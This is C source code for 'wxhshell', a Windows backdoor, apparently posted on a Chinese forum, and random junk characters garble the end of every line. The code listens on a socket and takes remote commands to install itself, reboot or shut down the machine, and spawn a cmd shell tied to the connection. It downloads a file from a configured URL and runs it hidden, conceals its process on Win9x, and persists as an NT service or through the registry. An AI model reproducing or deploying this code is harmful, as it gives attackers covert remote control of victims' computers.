  // 帮助 c'qM$KN9G  
  case '?': { Ol0|)0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4!qDG+m  
    break; EKD>c$T^  
  } M.Ik%nN#K0  
  // 安装 Q~{@3<yEI  
  case 'i': { 0GVok$r@  
    if(Install()) JwczE9~o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~;St>?\R\  
    else t1^96@m^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mjHY-lK  
    break; ufPQ~,.  
    } .>&fwG  
  // 卸载 [40 YoVlfM  
  case 'r': { /GaR&  
    if(Uninstall()) !Esiq<Yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}b+vh^3Wy  
    else 0xcqX!(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _F E F+I  
    break; $)~]4n=  
    } 6u}NI!he  
  // 显示 wxhshell 所在路径 N';lc:Ah~  
  case 'p': { q4N$.hpb  
    char svExeFile[MAX_PATH]; 5?MvO]_  
    strcpy(svExeFile,"\n\r"); U?{j  
      strcat(svExeFile,ExeFile); ;8Cqy80K  
        send(wsh,svExeFile,strlen(svExeFile),0); 0%/(p?]M  
    break; dr o42#$Mo  
    } gjV&X N  
  // 重启 8hg(6 XUG  
  case 'b': { uzsN#'7=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ! N p  
    if(Boot(REBOOT)) K~>kruO";  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HvTQycG  
    else { j@2 hI,+  
    closesocket(wsh); t;'.D @  
    ExitThread(0); K3^2R-3:8  
    } <k!G%R<9  
    break; @C2<AmY9q*  
    } t}nRWo  
  // 关机 uJ$,e5q  
  case 'd': { iC]}M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 67eo~~nUtg  
    if(Boot(SHUTDOWN)) :\Z0^{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s7?kU3 y=s  
    else { o v~m?Y]h  
    closesocket(wsh); N\?iU8w=  
    ExitThread(0); THJ+OnP  
    } DxBt83e  
    break; :U s-^zVr  
    } P,wJ@8lv  
  // 获取shell (ni$wjq=z^  
  case 's': { 9maw+c!~  
    CmdShell(wsh); `dK\VK^  
    closesocket(wsh); Ub$$wOsf  
    ExitThread(0); oKac~}_KL  
    break; Ou%>Dd5|?  
  } /d4xHt5a  
  // 退出 SZPu"O\  
  case 'x': { f19 i !  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _W+TZa@_  
    CloseIt(wsh); ?>_.~b ~  
    break; b} *cw2  
    } s$en5)  
  // 离开  0c{N)  
  case 'q': { -=RXhE_{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T2d pn%I  
    closesocket(wsh);  JeA}d  
    WSACleanup(); YpL}R#  
    exit(1); r\] WDX!`  
    break; p d6d(  
        } (_T&2%  
  } 38#(ruv  
  } +G~b-}  
uzo}?X#  
  // 提示信息 ^c5(MR7LD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L*Y}pO  
} O ?4V($  
  } nRGH58  
Rz)#VVYC=  
  return; q=bXHtU  
} _RmrjDk  
CUG6|qu  
// shell模块句柄 $=bN=hE  
int CmdShell(SOCKET sock) !cpBX>{w  
{ i8{jMe!Sa  
STARTUPINFO si; jsR1jou6  
ZeroMemory(&si,sizeof(si)); =k_u5@.Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z23KSPo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }vi%pfrB  
PROCESS_INFORMATION ProcessInfo; , ^nUi c  
char cmdline[]="cmd"; ~t}:vGDj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #0R;^#F/  
  return 0; U +]ab  
} p+t8*lkq  
uODsXi{z  
// 自身启动模式 JUE>g8\b  
int StartFromService(void) V>nY?  
{ %:y-"m1\u$  
typedef struct LP\ Qwj{  
{ [bcqaT  
  DWORD ExitStatus; Frml'Vfq7  
  DWORD PebBaseAddress; %*uqtw8  
  DWORD AffinityMask; ]}B&-Yp  
  DWORD BasePriority; aql*@8 )m  
  ULONG UniqueProcessId; Fg~,1[8w<  
  ULONG InheritedFromUniqueProcessId; Q.fBuF  
}   PROCESS_BASIC_INFORMATION; WULj@ds\~  
RBb@@k[v  
PROCNTQSIP NtQueryInformationProcess; cmI8Xf]"P-  
lz(9pz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :eO]65N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R0|X;3  
%cv%u6 b  
  HANDLE             hProcess; 52~k:"c  
  PROCESS_BASIC_INFORMATION pbi; Bm?Ku7}.  
%>bwpN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5 9 09O  
  if(NULL == hInst ) return 0; wHCsEp(  
<HD/&4$[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r=k}EP&<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +VeLd+Q}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #4hP_Vhc  
X4TUi8ht!]  
  if (!NtQueryInformationProcess) return 0; 7KEGTKfW  
lC2xl(#!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AE$)RhY`  
  if(!hProcess) return 0; F,W(H@ ~x  
&A9+%kOk>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^?A+`1-  
q8D1MEBL`  
  CloseHandle(hProcess); tY#^3ac  
`+6HHtF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^J G}|v3$  
if(hProcess==NULL) return 0; Z\Q7#dl  
?R+$4;iy  
HMODULE hMod; Z`%;bP:  
char procName[255]; Ac54 VN  
unsigned long cbNeeded; l ghzd6  
}lY-_y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IIPf5 Z}A  
BE2{qO{  
  CloseHandle(hProcess); 3k/Mig T  
HfF$>Z'kM  
if(strstr(procName,"services")) return 1; // 以服务启动 )Ga6O2:  
t|q=NK/  
  return 0; // 注册表启动 j oG>=o  
} NWvxbv  
EAfSbK3z  
// 主模块 a$GKrc,z  
int StartWxhshell(LPSTR lpCmdLine) 9+:Trc\%N  
{ AM[:Og S  
  SOCKET wsl; u"%fz8v  
BOOL val=TRUE; ?,NAihN]  
  int port=0; ,Tx8^|b#F  
  struct sockaddr_in door; Ixw,$%-]y6  
%9lxE[/  
  if(wscfg.ws_autoins) Install(); 5"Yw$DB9  
>O _  
port=atoi(lpCmdLine); 2R!W5gs1<  
RB"rx\u7K  
if(port<=0) port=wscfg.ws_port; *.RVH<W=8  
:q=OW1^k^  
  WSADATA data; ^kq!/c3r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J 0 P  
2XtQ"`)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F0\ry "(t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;vitg"Zh>  
  door.sin_family = AF_INET; lg1D>=(mY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5*AKl< Jl  
  door.sin_port = htons(port); N;HvB:c  
zYL^e @  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .kIf1-(<U  
closesocket(wsl); 9:> K!@  
return 1; Z ux2VepT  
} Mx"tUoU6z  
=Ug_1w  
  if(listen(wsl,2) == INVALID_SOCKET) { gISs+g  
closesocket(wsl); yH^*Fp8V  
return 1; m!_ghD{5h  
} _SqrQ  
  Wxhshell(wsl); Vd4osBu{fY  
  WSACleanup(); qE}YVKV*  
7%"7Rb^@  
return 0; %Qq)=J<H ;  
mQd?Tyvn  
} R 28*  
FS:WbFmc  
// 以NT服务方式启动 pZxL?N!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fev3CV$  
{ L ]c9  
DWORD   status = 0; v=VmiBq[  
  DWORD   specificError = 0xfffffff; 7p6J   
k#xpY!'7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N/BU%c ph+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m12 B:f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G,*s9P]1  
  serviceStatus.dwWin32ExitCode     = 0; "'Uk0>d=_I  
  serviceStatus.dwServiceSpecificExitCode = 0; hm>*eJNp]  
  serviceStatus.dwCheckPoint       = 0; ~py0Vx,F  
  serviceStatus.dwWaitHint       = 0; xQap44KPZ  
JxJntsn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PBtU4)  
  if (hServiceStatusHandle==0) return; i&)C,  
Ir #V2]$  
status = GetLastError(); :* b4/qpYv  
  if (status!=NO_ERROR) uFZB8+  
{ T0%TeFY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2j1v.%  
    serviceStatus.dwCheckPoint       = 0; y#;VGf6lj  
    serviceStatus.dwWaitHint       = 0; vp-7>Wj  
    serviceStatus.dwWin32ExitCode     = status; +z0}{,HX  
    serviceStatus.dwServiceSpecificExitCode = specificError; - oBas4J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -i5g 8t'  
    return; 'hw@l>1\9  
  } +|)1_NK  
es+_]:7B9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fMPq  
  serviceStatus.dwCheckPoint       = 0; j%jd@z ]@  
  serviceStatus.dwWaitHint       = 0; tkqBCKpDa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UQ])QTrZFi  
} h^kNM8  
cjC6\.+l3  
// 处理NT服务事件,比如:启动、停止 Y zW7;U S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N3p 7 0  
{ p6*a1^lU6  
switch(fdwControl) XqS*;Zj0  
{ Bye@5D  
case SERVICE_CONTROL_STOP: m$mY<Q  
  serviceStatus.dwWin32ExitCode = 0; f\_!N "HW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ak8^/1*@  
  serviceStatus.dwCheckPoint   = 0; [=ak>>8  
  serviceStatus.dwWaitHint     = 0; |z.GSI_!)  
  { |\n)<r_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3hf ;4Mb  
  } a05:iFoJ  
  return; ^Xy$is3  
case SERVICE_CONTROL_PAUSE: `}8@[iB'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z F yX@#B9  
  break; UoMWn"ZE  
case SERVICE_CONTROL_CONTINUE: x$?7)F&z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y:!/4GF  
  break; &#PBww  
case SERVICE_CONTROL_INTERROGATE: nR@,ouB-$  
  break; d?&!y]RS#  
}; vgA!?P3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r>:L$_]L  
} ~? FrI  
N[x@j)w-`  
// 标准应用程序主函数 _E1]cbIo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0I>?_?~l6  
{ _{*$>1q  
,KhMzE8_a  
// 获取操作系统版本 Y = g>r]2  
OsIsNt=GetOsVer(); 5}MlZp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &!DZW 5  
Fi?Q 4b  
  // 从命令行安装 *0&4mi8  
  if(strpbrk(lpCmdLine,"iI")) Install(); '/u:,ar  
V3 _b!  
  // 下载执行文件 9oj e`Ay  
if(wscfg.ws_downexe) { >^H'ZYzw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (U(/ C5'  
  WinExec(wscfg.ws_filenam,SW_HIDE); .kbr?N,'  
} *qO]v9 j  
+Y5(hjE  
if(!OsIsNt) { GcZM+c  
// 如果时win9x,隐藏进程并且设置为注册表启动 }c35FM,  
HideProc(); zr3q>]oma  
StartWxhshell(lpCmdLine); <;z[+6T  
} LZUA+x(  
else ^.@yF;H  
  if(StartFromService()) k(-Z@   
  // 以服务方式启动 1#> &p%P!  
  StartServiceCtrlDispatcher(DispatchTable); -}_cO|kk  
else L,b|Iq  
  // 普通方式启动 '0R/6Z|/Y  
  StartWxhshell(lpCmdLine); ^ea RgNz  
<TLGfA1bC  
return 0; f[JI/H>  
}
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只看该作者 1 发表于: 2006-10-10
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